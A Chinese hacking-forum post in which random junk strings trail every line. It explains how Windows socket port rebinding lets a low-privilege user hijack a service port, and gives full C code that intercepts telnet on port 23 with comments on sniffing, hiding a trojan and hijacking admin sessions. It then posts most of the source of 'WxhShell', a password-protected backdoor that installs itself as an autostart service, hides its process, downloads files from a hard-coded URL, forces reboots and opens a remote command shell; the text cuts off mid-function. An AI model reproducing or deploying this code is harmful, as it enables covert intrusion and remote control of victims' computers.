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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +[7 DRT:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q.ZkQN+  
z=C<@ki`  
  saddr.sin_family = AF_INET; B4{F)Zb  
juEH$7N !  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wRu\9H}  
eE" *c>I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y*T@_on5  
R= .UbY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4F,RlKHBl  
Nt~G  {m  
  这意味着什么?意味着可以进行如下的攻击: 7T?T0x3>  
uQ3W =  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +,UuJ6[n  
?i$MinK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zcOG[-  
V(M7d>N5G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~;@\9oPpz%  
tS[%C)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }b+$S'`Bv  
emG1Wyl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~vKDB$2  
WD|pG;Gq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o"g<Vz  
v*^'|QyM7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &XB1=b5  
r TK)jxklX  
  #include @Uqcym.  
  #include oiItQ4{<  
  #include 9,$ n 6t;  
  #include    S+u@ Q}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mV|Z5= f  
  int main() @gi / 1cq  
  { .=@CF8ArG  
  WORD wVersionRequested; BP=<TRp .  
  DWORD ret; t]+h.  
  WSADATA wsaData; =z#j9'n$@  
  BOOL val; gP?.io 9Oi  
  SOCKADDR_IN saddr; qjH/E6GGg  
  SOCKADDR_IN scaddr; &,'CHBM  
  int err; s}?QA cC  
  SOCKET s; 07>Iq8<mu  
  SOCKET sc; G3gEL)b*  
  int caddsize; I]Vkaf I>(  
  HANDLE mt; 0+F--E4  
  DWORD tid;   v UhgM'  
  wVersionRequested = MAKEWORD( 2, 2 ); oI-,6G}  
  err = WSAStartup( wVersionRequested, &wsaData ); sO{TGk]*  
  if ( err != 0 ) { BhhFij4  
  printf("error!WSAStartup failed!\n"); es<8"CcP  
  return -1; @Gt.J*!s/  
  } ty'/i!/\  
  saddr.sin_family = AF_INET; [0vqm:P  
   " =6kH,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Whe-()pG{  
l=ZD&uK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FLX n%/  
  saddr.sin_port = htons(23); T^vhhfCUr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >wb Uxl%{5  
  { ERia5HnoD,  
  printf("error!socket failed!\n"); y%?'<j  
  return -1; `x_}mdR  
  } -V-I&sO<  
  val = TRUE; e;g7Ek3n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,3N>`]Km'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *2pf> UzL  
  { IqiU  
  printf("error!setsockopt failed!\n"); 05g %5vHF  
  return -1; @dx 8{oQ  
  } ;wkMa;%`g|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %-a;HGbZn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t+_\^Oa)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (cyvE}g  
Q-rG~O9-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \Y>b#*m(4  
  { b3FKDm[  
  ret=GetLastError(); h3-^RE5\`S  
  printf("error!bind failed!\n"); OF03]2j7<|  
  return -1; TgaxZW  
  } y0`; br\X  
  listen(s,2); ?dbSm3  
  while(1) :;eQ*{ `\  
  { T0Xm}i  
  caddsize = sizeof(scaddr); ^2);*X>  
  //接受连接请求 jXLd#6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;mT}Q;F#  
  if(sc!=INVALID_SOCKET) _ xTpW  
  { YoW)]n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =yz"xWH  
  if(mt==NULL) "w%:5~u 9  
  { "[!b5f3!I  
  printf("Thread Creat Failed!\n"); dW%t ph  
  break; r{^43g?  
  } a6j& po  
  } G{]RC^Zo  
  CloseHandle(mt); 5!fOc]]Ow  
  } &R?`QB2/  
  closesocket(s); zWhj >Za  
  WSACleanup(); ;Mo_B9  
  return 0; |=*)a2  
  }   gT0yI ;g]  
  DWORD WINAPI ClientThread(LPVOID lpParam) Rx&O}>"E>l  
  { Y(bB7tR  
  SOCKET ss = (SOCKET)lpParam; X!K>.r_Dg  
  SOCKET sc; IycZ\^5*-  
  unsigned char buf[4096]; @;`'s  
  SOCKADDR_IN saddr; oe]* Q  
  long num; KD ,3U/ 3  
  DWORD val; wpuK?fP  
  DWORD ret; Qy0w'L/@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4pf@.ra,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e}1Q+h\  
  saddr.sin_family = AF_INET; m9A%Z bQ^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 84.L1|k  
  saddr.sin_port = htons(23); :\P@c(c{^C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l;0([_>*j  
  { Or.u*!od&  
  printf("error!socket failed!\n"); k:Y\i]#yP  
  return -1; U%s@np  
  } Hz GwO^tbK  
  val = 100; KCyV |,+n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rQimQ|+  
  { w1)TnGT  
  ret = GetLastError(); UUV5uDe>i  
  return -1; [nO3%7t@  
  } #h[>RtP:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w[-)c6JyE  
  { {1Ra |,;  
  ret = GetLastError(); [LnPV2@e  
  return -1; Qfm$q~`D^W  
  } f#!+l1GV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U.<j2K um  
  { %VO+\L8Fs  
  printf("error!socket connect failed!\n"); "#O9ij  
  closesocket(sc); Nbpn"*L,  
  closesocket(ss); $t;:"i>  
  return -1; "u^Erj# /  
  } U80=f2  
  while(1) ^+P.f[  
  { d{7ZO#E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 > ubq{'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U4!KO;Jc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zo ?RFn  
  num = recv(ss,buf,4096,0); a yoC]rE  
  if(num>0) F\D iT|?}  
  send(sc,buf,num,0); OvX&5Q5  
  else if(num==0) qf x*a88  
  break; DJ"PP 5d  
  num = recv(sc,buf,4096,0); y47N(;vy  
  if(num>0) . }\8Y=  
  send(ss,buf,num,0); dkw.o.e  
  else if(num==0) ^N/d`IAjv  
  break; Z<.&fZ^jS  
  } zTa5 N  
  closesocket(ss); &4-;;h\H  
  closesocket(sc); f5V-;  
  return 0 ; QR&e~rks  
  } _;k<=ns(=  
b{<?E };%  
Yg8* )u0  
========================================================== 9`*ST(0/  
o.ZR5`.  
下边附上一个代码,,WXhSHELL B%8@yS  
ov_l)vt  
========================================================== WLl8oE< X  
A08kwYxiW  
#include "stdafx.h" r:bJU1P1$s  
'f<N7%eZ  
#include <stdio.h> e-rlk5k%f  
#include <string.h> g=t`3X#d  
#include <windows.h> ]6e(-v!U  
#include <winsock2.h>  T01Iu  
#include <winsvc.h> &[[r|  
#include <urlmon.h> NBPP?\1  
]CzK{-W  
#pragma comment (lib, "Ws2_32.lib") zr|DC] 3  
#pragma comment (lib, "urlmon.lib") M8~3 0L  
HEVj K$  
#define MAX_USER   100 // 最大客户端连接数 {32m&a  
#define BUF_SOCK   200 // sock buffer hWy@?r.  
#define KEY_BUFF   255 // 输入 buffer wOf8\s1  
>`AK'K8{M  
#define REBOOT     0   // 重启 N0p6xg~  
#define SHUTDOWN   1   // 关机 )95k3xo  
_Ay^v#a  
#define DEF_PORT   5000 // 监听端口 ]Kt@F0U<o  
E:K4k <  
#define REG_LEN     16   // 注册表键长度 3Q$ 4`p;  
#define SVC_LEN     80   // NT服务名长度 O(/~cQ  
 @/s|<*  
// 从dll定义API #4Z e2T|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B $g\;$G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u ]"fwkL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]AYP\\Xi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $eFMn$o  
I D_4M_G  
// wxhshell配置信息 WK6,K92  
struct WSCFG { 8NfXYR#  
  int ws_port;         // 监听端口 _8.TPB]no  
  char ws_passstr[REG_LEN]; // 口令 Fl_}Auj{&(  
  int ws_autoins;       // 安装标记, 1=yes 0=no d3c.lD)L9  
  char ws_regname[REG_LEN]; // 注册表键名 P\MDD@  
  char ws_svcname[REG_LEN]; // 服务名 A1prYD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s6~;)(r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }? _KZ)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SZW_V6\t>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VNTbjn]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v7"VH90`!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 56)!&MF  
+E</A:|}S  
}; x[58C+  
;y,g%uqE  
// default Wxhshell configuration 3/+kjY/  
struct WSCFG wscfg={DEF_PORT, GY%5N= u  
    "xuhuanlingzhe", v^ ^Ibv  
    1, bW=q G  
    "Wxhshell", i9L]h69r  
    "Wxhshell", 4z(~)#'^  
            "WxhShell Service", b1?^9c#0d  
    "Wrsky Windows CmdShell Service", ?(gha  
    "Please Input Your Password: ", T#qf&Q Z  
  1, , Wd=!if  
  "http://www.wrsky.com/wxhshell.exe", VFf;|PHS  
  "Wxhshell.exe" qGA|.I9,  
    }; e8<}{N0,n  
l6bY!I>  
// 消息定义模块 hV(^Y)f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F- -g?Q^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {N}az"T4f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d` ttWWPw  
char *msg_ws_ext="\n\rExit."; 5a/A?9?,  
char *msg_ws_end="\n\rQuit."; P*!`AWn  
char *msg_ws_boot="\n\rReboot..."; x6,ozun  
char *msg_ws_poff="\n\rShutdown..."; q'8*bu_  
char *msg_ws_down="\n\rSave to "; C4(xtSJSd!  
)zxb]Pg+  
char *msg_ws_err="\n\rErr!"; [e` | <  
char *msg_ws_ok="\n\rOK!"; R:f!ywj%  
d'96$e o~  
char ExeFile[MAX_PATH]; |p/ *OFC6  
int nUser = 0; ^0v3NG6  
HANDLE handles[MAX_USER]; Bug.>ln1  
int OsIsNt; =p4n @C  
{`D]%eRO  
SERVICE_STATUS       serviceStatus; r x9*/Q0F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _$R=F/88  
HVus\s\&y%  
// 函数声明 |Lg2;P7\  
int Install(void); Bg),Q8\I  
int Uninstall(void); j;.P  
int DownloadFile(char *sURL, SOCKET wsh); B/l^=u+-  
int Boot(int flag); :j`f%Vg~x  
void HideProc(void); nx%As  
int GetOsVer(void); 5)< Y3nU~  
int Wxhshell(SOCKET wsl); !M8_PC*a  
void TalkWithClient(void *cs); x[lIib1s  
int CmdShell(SOCKET sock); N*36rR$^  
int StartFromService(void); \C$e+qb~{  
int StartWxhshell(LPSTR lpCmdLine); B]tj0FB`-*  
KS8@A/f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8$~oiK%fw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :lXY% [!6P  
MDytA0M  
// 数据结构和表定义 n>pJ/l%`  
SERVICE_TABLE_ENTRY DispatchTable[] = :oy2mi;  
{ vQCb?+X&  
{wscfg.ws_svcname, NTServiceMain}, ?Ojv<L-f.:  
{NULL, NULL} jv.tg,c_6  
}; ZY8.p  
'nPI zK<v  
// 自我安装 U3_O}X+  
int Install(void) R=.?el  
{ Z&>Cdgt*  
  char svExeFile[MAX_PATH]; 1Z ~C3)T=  
  HKEY key; ?jz\[0)s  
  strcpy(svExeFile,ExeFile); WD\Yx~o  
m4~ |z  
// 如果是win9x系统,修改注册表设为自启动 '1DY5`i{  
if(!OsIsNt) { Ml c_w19C9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a0)w/A&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O\f`+Q`0  
  RegCloseKey(key); G~y:ZEnN[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OB9E30  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &S xF"pYV  
  RegCloseKey(key); d8;kM`U  
  return 0; 2'=)ese  
    } eV!(a8  
  } MH)V=xU|)  
} .'o=J`|  
else { Eb~vNdPo  
Ag2~q  
// 如果是NT以上系统,安装为系统服务 Psf'^42(v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B?&0NpVD  
if (schSCManager!=0) !2Ompcr1  
{ <xSh13<  
  SC_HANDLE schService = CreateService aHC%:)ww:  
  ( A-1K TD  
  schSCManager, BPv+gx(>k  
  wscfg.ws_svcname, iLv -*%%  
  wscfg.ws_svcdisp, KWDH 35  
  SERVICE_ALL_ACCESS, 6p }a!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ShL!7y*rT{  
  SERVICE_AUTO_START, Vaf,  
  SERVICE_ERROR_NORMAL, z*.G0DFw  
  svExeFile, cvy 5|;-u  
  NULL, q !9;JrX  
  NULL, j]&Qai~}Y  
  NULL, 4u*n7di$9d  
  NULL, + a*Ic8*  
  NULL JAKs [@:  
  ); o|d:rp!^  
  if (schService!=0) UTE6U6  
  { (KN",u6F  
  CloseServiceHandle(schService); *=B<S/0  
  CloseServiceHandle(schSCManager); K:-jn}i?/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C3^3<  
  strcat(svExeFile,wscfg.ws_svcname); p=UW ^95  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { esZhX)dS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CvRCcSJM\2  
  RegCloseKey(key); 8J&9}@y  
  return 0; ^!exH(g  
    } =9 QyO h  
  } \i[N ";K  
  CloseServiceHandle(schSCManager); -[vw 8  
} &+02Sn3A  
} =Bc{0p*  
LiFR7\z  
return 1; kD+#|f  
} !Z>,dN  
Ff>X='{  
// 自我卸载 v -)<nox  
int Uninstall(void) i@6g9\x+  
{ m;"[b (u  
  HKEY key; <,p$eQ)T%  
:(OV{ u  
if(!OsIsNt) { xcl;~"c *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U~sC%Ri-@U  
  RegDeleteValue(key,wscfg.ws_regname); |UlR+'rl  
  RegCloseKey(key); h*KDZ+{)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8?m=Vw<kIZ  
  RegDeleteValue(key,wscfg.ws_regname); d< XY"Y%  
  RegCloseKey(key); RB*z."  
  return 0; R~A))4<%%  
  } ":T"Y;  
} MY\mo,#  
} =; n>#<  
else { RF6]_-  
()8=U_BFz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;j;U9-oh  
if (schSCManager!=0) MW^FY4V1m  
{ @o@SU"[?_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GM;uwL#  
  if (schService!=0) S+6YD0  
  { &{WEtaXaa  
  if(DeleteService(schService)!=0) { aB G*  
  CloseServiceHandle(schService); *a_QuEw _k  
  CloseServiceHandle(schSCManager); uU$/4{  
  return 0; nWYfe-zQxg  
  } uVZm9Sp  
  CloseServiceHandle(schService); Cu$`-b^y  
  } |C+ 5  
  CloseServiceHandle(schSCManager); PMQ31f/zf  
} u0+<[Ia'q  
} Nt<Ac&6 s  
hI<$lEB  
return 1; hZe9Y?)  
} -xH3}K%  
[daR)C  
// 从指定url下载文件 7S&O {Q7)  
int DownloadFile(char *sURL, SOCKET wsh) M tDJ1I%  
{ Y'6P ~C;v  
  HRESULT hr; uWXxK"J.  
char seps[]= "/"; ~te{9/   
char *token; 6NFLk+kqN  
char *file; K}S=f\Q]  
char myURL[MAX_PATH]; ? zic1i  
char myFILE[MAX_PATH]; y(K:,CI  
aI\ >=*HF  
strcpy(myURL,sURL); ok&v+A  
  token=strtok(myURL,seps); .$x822   
  while(token!=NULL) <&M5#:u  
  { [z} $G:s  
    file=token; uTrGb:^  
  token=strtok(NULL,seps); K,HR=5  
  } y3V47J2o  
"0"8Rp&V|  
GetCurrentDirectory(MAX_PATH,myFILE); |TBKsx8  
strcat(myFILE, "\\"); g'eJN  
strcat(myFILE, file); rlDJHR6  
  send(wsh,myFILE,strlen(myFILE),0); c*> SZ'T\  
send(wsh,"...",3,0); `jFvG\aC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q F_K^(  
  if(hr==S_OK) %} Ob~m>P  
return 0; <J1$s_^`  
else j7&0ckN&G  
return 1; F>3fP  
Zf`dd T  
} _{?/4ZhA\+  
laFF/g;sRC  
// 系统电源模块 w~9=6|_  
int Boot(int flag) ;6zp,t0  
{ .l&<-l;UQ  
  HANDLE hToken; G9\@&=  
  TOKEN_PRIVILEGES tkp; 2KmPZ&r  
QVrMrm+vRv  
  if(OsIsNt) { O/Wc@Ln  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v:] AS:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s*pgR=dZZ  
    tkp.PrivilegeCount = 1; d~J4&w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }h)[>I(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7^:0?Q  
if(flag==REBOOT) { lN^} qg><  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |LDo<pE*V4  
  return 0; 7[ra#>e8'  
} pn~$u  
else { W|kKH5E&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z-+p+34ytq  
  return 0; Ea*Jl<  
} =w!14@W  
  } .<`Rq'  
  else { uB:utg  
if(flag==REBOOT) { Et+N4w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ou@ P#:<B  
  return 0; <4Jo1  
} ?qQRA|n*  
else { /\KB*dX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %h%^i   
  return 0; <vV?VV([  
} { O*maE"  
} \TrhJ  
h&vq}  
return 1; 9c1n  
} pr[[)[]/  
%o +VZEH3  
// win9x进程隐藏模块 Bk 1Q.Un  
void HideProc(void) NTVdSK7z~H  
{ <Ep-aRI  
W/uaNp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RCq_FY  
  if ( hKernel != NULL ) e}e\*BL  
  { P~:W+!@5v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -<i&`*zG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )A['+s  
    FreeLibrary(hKernel); c]W]m`:  
  } ge[+/$(1  
-C5Qh&~W  
return; UGPD5wX?  
} @M"h_Z1#  
n}yqpW!%n  
// 获取操作系统版本 lYeot8  
int GetOsVer(void) 8+uwzBNZ:  
{ 8KW}XG  
  OSVERSIONINFO winfo; %?C{0(Z{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kO\(6f2|x  
  GetVersionEx(&winfo); y2^r.6"O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N@^?J@#V  
  return 1; ab' f:  
  else VWmZ|9Ri  
  return 0;   ]5'  
} LC\Ys\/,U  
s&M6DFlA  
// 客户端句柄模块 rsvZi1N4w$  
int Wxhshell(SOCKET wsl) ^owEB%  
{ 9+SeG\Th  
  SOCKET wsh; p/'C v  
  struct sockaddr_in client; |jaUVE_2[  
  DWORD myID; NwuME/C7#  
`qSNS->  
  while(nUser<MAX_USER) 6,0pkx&Nv  
{ >&aFSL,f  
  int nSize=sizeof(client); -";'l @D=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~c :e0}  
  if(wsh==INVALID_SOCKET) return 1; 6U7z8NV&[  
.7Ys@;>B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); co<){5zOT  
if(handles[nUser]==0) ?'$=G4y&?  
  closesocket(wsh); QO7 > XHn  
else oFHVA!lqe  
  nUser++; ~7b '4\  
  } RoLUPy9U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rr*",a"}m  
|RwD]2H  
  return 0; JXGIVH?Rpu  
} WMZa6cH  
>;HbD p  
// 关闭 socket 3>0/WbA:7E  
void CloseIt(SOCKET wsh) /,/T{V[  
{ 8b(UqyV  
closesocket(wsh); ]NuY{T&:  
nUser--; LZM[Wg#  
ExitThread(0); M[R, m_p  
} aAwnkQ$  
>?b/_O  
// 客户端请求句柄 Rh9>iA@fd  
void TalkWithClient(void *cs) &EXql']  
{ }&rf'E9  
X+P& up06  
  SOCKET wsh=(SOCKET)cs; `\q4z-<-  
  char pwd[SVC_LEN]; K,|Gtaa~  
  char cmd[KEY_BUFF]; )+oDa{dZ  
char chr[1]; idPkJf/  
int i,j; B HoZ}1_  
E^1uZI\z  
  while (nUser < MAX_USER) { ?_m;~>C  
]![ewO@  
if(wscfg.ws_passstr) { ,, ]y 8P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @XDU !<N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JF%+T yMe  
  //ZeroMemory(pwd,KEY_BUFF); M)I&^mm39  
      i=0; 5U3="L  
  while(i<SVC_LEN) { 8\. #  
Z?XE~6aP>  
  // 设置超时 @w,-T@nAW  
  fd_set FdRead; e0j*e7$  
  struct timeval TimeOut; bX|Z||img  
  FD_ZERO(&FdRead); eO (VSjo'`  
  FD_SET(wsh,&FdRead); UG&/0{j5XV  
  TimeOut.tv_sec=8; 1reJ7b0  
  TimeOut.tv_usec=0; hP`3Ao  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K$ #(\-M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;|soc:aH  
rbO9NRg>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /]F3t]FlC  
  pwd=chr[0]; tE3!;  
  if(chr[0]==0xd || chr[0]==0xa) { s7(mNpo  
  pwd=0; !wJ~p:vRdY  
  break; 9N5 &N3  
  } 4 FGcCE3  
  i++; t$]lK6  
    } :f 1*-y  
-XkCbxZ  
  // 如果是非法用户,关闭 socket ?bmP<(N5/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o" &7$pAh  
} *S:^3{.m=  
J6n@|L!yO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }/SbmW8(1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BV9B}IV  
< :<E~anH  
while(1) { XBF#ILJ  
s34{\/'D+  
  ZeroMemory(cmd,KEY_BUFF); A=I]1r  
P`@d8 %*;  
      // 自动支持客户端 telnet标准   ?E^~z-  
  j=0; "n}J6   
  while(j<KEY_BUFF) { rs]%`"&=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q$(aMO&J  
  cmd[j]=chr[0]; c] $X+  
  if(chr[0]==0xa || chr[0]==0xd) { ymrmvuh  
  cmd[j]=0; -ce N}Cb3  
  break; u+&BR1)C  
  } X#Y0g`muW  
  j++; GXr9J rs.e  
    } 4;<?ec(dc  
3yszf Wr  
  // 下载文件 *l)_&p  
  if(strstr(cmd,"http://")) { WJ<nc+/v:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _<6 ^r  
  if(DownloadFile(cmd,wsh)) fFMGpibkM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ='`z  
  else 0BMKwZg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9y{[@KG  
  } Ur6UE2   
  else { P(l$5x]g,  
64%P}On  
    switch(cmd[0]) { :1^ R$0d  
  uUB,OmLN  
  // 帮助 ]i(tou-[i  
  case '?': { ,)TtI~6Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JR8 b[Oj.S  
    break; >v7fR<(%s  
  } i ?&t@"'  
  // 安装 J3fk3d`2  
  case 'i': { x$Y44v'>  
    if(Install()) PIR#M('  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \3JZ =/  
    else *1"xvle  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DDxbIkt  
    break; '3TwrY?-  
    } ?oana%  
  // 卸载 t2skg  
  case 'r': { }{T9`^V:h  
    if(Uninstall()) KJn@2x6LP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~ ||Vv!  
    else 3#N'nhUzA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =lT~  
    break; w^OV;gp  
    } %:2EoXN"  
  // 显示 wxhshell 所在路径 R[_Q}W'HG  
  case 'p': { D5Zgi!  
    char svExeFile[MAX_PATH]; /{1sU}k-  
    strcpy(svExeFile,"\n\r"); z$g cK>@l  
      strcat(svExeFile,ExeFile); |Gp!#D0b  
        send(wsh,svExeFile,strlen(svExeFile),0); U ?iw  
    break; C@x\ZG5rA  
    } G5WQTMzf&  
  // 重启 ]MD,{T9l\>  
  case 'b': { 7 bV(eV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;R5@]Hg6q  
    if(Boot(REBOOT)) -VZn`6%s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S?b^g'5m  
    else { Borr  
    closesocket(wsh); vHJOpQmt~  
    ExitThread(0); [^Z)f<l  
    } 5!QT }Um  
    break; < `$svM  
    } -L-#-dK'  
  // 关机 n!aA<  
  case 'd': { ]I,(^Xq3a(  
